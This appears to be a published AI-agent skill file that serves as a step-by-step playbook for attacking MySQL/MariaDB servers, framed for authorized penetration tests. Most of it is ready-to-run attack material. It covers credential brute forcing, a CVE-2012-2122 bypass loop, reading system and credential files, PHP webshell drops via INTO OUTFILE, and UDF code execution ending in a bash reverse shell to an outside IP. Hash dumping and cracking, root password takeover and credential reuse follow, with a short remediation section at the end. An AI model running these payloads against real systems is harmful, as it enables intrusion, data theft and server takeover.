pentesting-mysql

$npx mdskill add xalgord/xalgorix/pentesting-mysql

- Default port `3306/tcp`; `nmap`/banner shows `mysql`, `MariaDB`, or a greeting like `5.7.x`/`8.0.x`/`10.x-MariaDB`. - MySQL is a **plain-text protocol** (unless TLS is forced), so native clients and NSE scripts interact directly. - Use when you have network reach to the DB port, recovered creds to reuse, or local shell access to a host running `mysqld` (sockets, `debian.cnf`, `~/.my.cnf`).

SKILL.md

.github/skills/pentesting-mysqlView on GitHub ↗
---
name: pentesting-mysql
description: Testing MySQL / MariaDB database services (default port 3306) for empty/default root credentials, authentication-bypass and version CVEs, FILE-privilege data theft, and the INTO OUTFILE webshell / lib_mysqludf_sys UDF remote-code-execution primitives during authorized engagements.
domain: cybersecurity
subdomain: network-services-pentesting
tags:
- penetration-testing
- network-services
- database
- mysql
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Pentesting MySQL (port 3306)

## When to Use
- Default port `3306/tcp`; `nmap`/banner shows `mysql`, `MariaDB`, or a greeting like `5.7.x`/`8.0.x`/`10.x-MariaDB`.
- MySQL is a **plain-text protocol** (unless TLS is forced), so native clients and NSE scripts interact directly.
- Use when you have network reach to the DB port, recovered creds to reuse, or local shell access to a host running `mysqld` (sockets, `debian.cnf`, `~/.my.cnf`).

## Quick Enumeration
```bash
# Version + default scripts (most need creds, but mysql-info/empty-password do not)
nmap -sV -p 3306 --script mysql-info,mysql-empty-password,mysql-enum,mysql-variables,mysql-databases,mysql-users,mysql-dump-hashes,mysql-vuln-cve2012-2122 <IP>

# Consoleless metasploit (version + auth-bypass hashdump)
msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS <IP>; run; exit'
msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS <IP>; run; exit'

# Direct connect attempts
mysql -h <IP> -u root              # no password
mysql -h <IP> -u root -p           # prompt for password
mysql -h <IP> -u root@localhost    # some grants only allow localhost
```

## Critical: Checks Most Often Missed
- **Empty / default root password** — the #1 miss. Try `root` with empty password and common defaults (`root:root`, `root:toor`, `root:password`).
  - How to CONFIRM: `mysql -h <IP> -u root -e 'select user();'` returns a session; `nmap --script mysql-empty-password -p3306 <IP>` reports "account has empty password".
- **CVE-2012-2122 auth bypass** — repeated logins with any password succeed ~1/256 of the time on vulnerable builds.
  - How to CONFIRM: `for i in $(seq 1 1000); do mysql -h<IP> -uroot -pwrong 2>/dev/null && break; done`, or `nmap --script mysql-vuln-cve2012-2122 -p3306 <IP>`, or the `mysql_authbypass_hashdump` module.
- **FILE privilege → arbitrary read + webshell write (INTO OUTFILE)** — a user with `FILE` privilege and empty/permissive `secure_file_priv` can read server files and drop a PHP shell into a writable webroot.
  - How to CONFIRM: `SELECT user,file_priv FROM mysql.user WHERE file_priv='Y';` and `SHOW VARIABLES LIKE 'secure_file_priv';` (empty = anywhere). Then `SELECT load_file('/etc/passwd');` returns content, or `SELECT '<?php system($_GET["c"]);?>' INTO OUTFILE '/var/www/html/x.php';` lands a shell.
- **mysqld running as root → UDF RCE (lib_mysqludf_sys)** — load a `.so`/`.dll` into the plugin dir and create `sys_exec` to run OS commands as the DB service account.
  - How to CONFIRM: `SHOW VARIABLES LIKE '%plugin%';` is writable and `select user,Super_priv from mysql.user where Super_priv='Y';`; success = `select sys_exec('id > /tmp/o');` writes the file.
- **Rogue-server arbitrary file read** — if a client connects out to you with `LOCAL INFILE` enabled, a malicious MySQL server reads client files. JDBC `Connector/J <= 8.0.32` `propertiesTransform` gadget gives client-side RCE.

## Workflow

### Step 1: Enumerate (version, config, capabilities)
```bash
nmap -sV -p3306 --script mysql-info,mysql-variables <IP>
# Local host artifacts (if you have shell):
ls -l /run/mysqld/mysqld.sock /etc/mysql/debian.cnf ~/.my.cnf 2>/dev/null
cat /etc/mysql/debian.cnf            # plaintext debian-sys-maint creds
```

### Step 2: Authenticate (empty/default creds, brute force)
```bash
mysql -h <IP> -u root                                  # empty password
mysql -S /run/mysqld/mysqld.sock -u root               # local socket (auth_socket bypass)
# Brute force
hydra -L users.txt -P passwords.txt <IP> mysql
nxc mysql <IP> -u users.txt -p passwords.txt
medusa -h <IP> -u root -P passwords.txt -M mysql
```

### Step 3: Exploit / Extract (dump data + FILE/UDF RCE primitive)
```sql
-- Recon once connected
select version(); select user(); select @@secure_file_priv;
show databases; SELECT * FROM mysql.user;        -- hashes (mysql_native_password / $mysql-sha2$)
SELECT user,file_priv,Super_priv FROM mysql.user;

-- Arbitrary file READ (needs FILE priv)
SELECT load_file('/var/lib/mysql-files/key.txt');
SELECT load_file('/etc/passwd');

-- Webshell WRITE into webroot (INTO OUTFILE; cannot overwrite existing files)
SELECT '<?php echo shell_exec($_GET["c"]);?>' INTO OUTFILE '/var/www/html/back.php';
-- Windows / XAMPP target
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php';
```
```sql
-- UDF RCE when mysqld runs privileged (lib_mysqludf_sys from sqlmap/metasploit)
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn VALUES(load_file('/tmp/lib_mysqludf_sys.so'));
SHOW VARIABLES LIKE '%plugin%';   -- find @@plugin_dir
SELECT * FROM npn INTO DUMPFILE '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
```
```sql
-- Windows NTFS trick: bootstrap a missing plugin dir via ADS before the UDF drop
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
```

### Step 4: Post-access / privilege escalation / pivot
- Dump `mysql.user` hashes and crack offline: Hashcat mode **300** (`mysql_native_password`), **21100** (`$mysql-sha2$` / MySQL 8), John `--format=mysql-sha2`.
- Read hashes from disk: `grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD`.
- Look for `auth_socket`/`unix_socket` plugin on privileged users — an OS user becomes that DB user over the socket with no password.
- Change root password if you have write to `mysql.user`: `UPDATE mysql.user SET authentication_string=PASSWORD('x') WHERE User='root'; FLUSH PRIVILEGES;`
- Reuse recovered DB creds / `debian.cnf` against SSH, SMB, web apps.

## Key Concepts
| Concept | Description |
|---------|-------------|
| **FILE privilege** | Per-user grant required for `load_file()`, `INTO OUTFILE`, `INTO DUMPFILE`. |
| **secure_file_priv** | Restricts file I/O to a directory; empty = anywhere, NULL = disabled. |
| **INTO OUTFILE** | Writes query output to a new file (cannot overwrite) — webshell drop primitive. |
| **UDF (lib_mysqludf_sys)** | User-defined function loaded from a `.so`/`.dll` in `@@plugin_dir` giving `sys_exec`/`sys_eval` OS command execution. |
| **auth_socket / unix_socket** | Auth plugin mapping an OS user to a DB account over the local socket with no DB password. |
| **LOCAL INFILE / rogue server** | A malicious MySQL server can read files from a connecting client. |
| **CVE-2012-2122** | Memcmp auth bypass; any password works ~1/256 attempts on vulnerable versions. |

## Tools & Systems
| Tool | Purpose |
|------|---------|
| **mysql / mariadb client** | Native interactive client for auth, enumeration, file/UDF primitives. |
| **nmap NSE** | `mysql-info`, `mysql-empty-password`, `mysql-enum`, `mysql-users`, `mysql-dump-hashes`, `mysql-vuln-cve2012-2122`. |
| **Metasploit** | `scanner/mysql/mysql_version`, `mysql_authbypass_hashdump`, `mysql_hashdump`, `admin/mysql/mysql_enum`, `mysql_schemadump`. |
| **netexec (nxc)** | `nxc mysql <IP> -u users -p passwords` for spraying/auth. |
| **hydra / medusa** | Credential brute force against MySQL login. |
| **sqlmap** | Bundles `lib_mysqludf_sys` payloads (`locate "*lib_mysqludf_sys*"`). |
| **Hashcat / John** | Offline cracking of dumped `mysql.user` hashes (modes 300 / 21100). |

## Common Scenarios
### Scenario 1: Empty root → data theft
`nmap --script mysql-empty-password` confirms `root` with no password. `mysql -h<IP> -uroot` connects; `SELECT * FROM mysql.user` dumps hashes and `SHOW DATABASES` exposes application data with reusable secrets.

### Scenario 2: FILE privilege → webshell RCE
The app DB user has `FILE` and `secure_file_priv` is empty. `SELECT '<?php system($_GET["c"]);?>' INTO OUTFILE '/var/www/html/x.php'` drops a shell; `http://<IP>/x.php?c=id` returns `www-data`.

### Scenario 3: Root-run mysqld → UDF reverse shell
`mysqld` runs as root and the tester has a privileged login. Loading `lib_mysqludf_sys.so` into the plugin dir and calling `sys_exec` yields a root reverse shell on the host.

## Output Format
```
## MySQL Finding

**Service**: MySQL
**Port**: 3306/tcp (MariaDB 10.3.23)
**Severity**: Critical
**Finding**: Empty root password with FILE privilege enabling webshell write
**Evidence**:
  - nmap mysql-empty-password: "root account has empty password"
  - `mysql -h<IP> -uroot -e "SELECT user,file_priv FROM mysql.user"` -> root file_priv=Y
  - `SELECT ... INTO OUTFILE '/var/www/html/x.php'` succeeded; /x.php?c=id -> uid=33(www-data)
**Impact**: Unauthenticated database access plus arbitrary file write to the web root yields remote code execution.
**Recommendation**:
  1. Set a strong unique root password and remove anonymous/empty accounts.
  2. Bind MySQL to localhost or restrict 3306 by firewall/source IP.
  3. Set `secure_file_priv` to a non-web directory and revoke FILE from app users.
  4. Run mysqld as an unprivileged account; patch to address CVE-2012-2122.
```

More from xalgord/xalgorix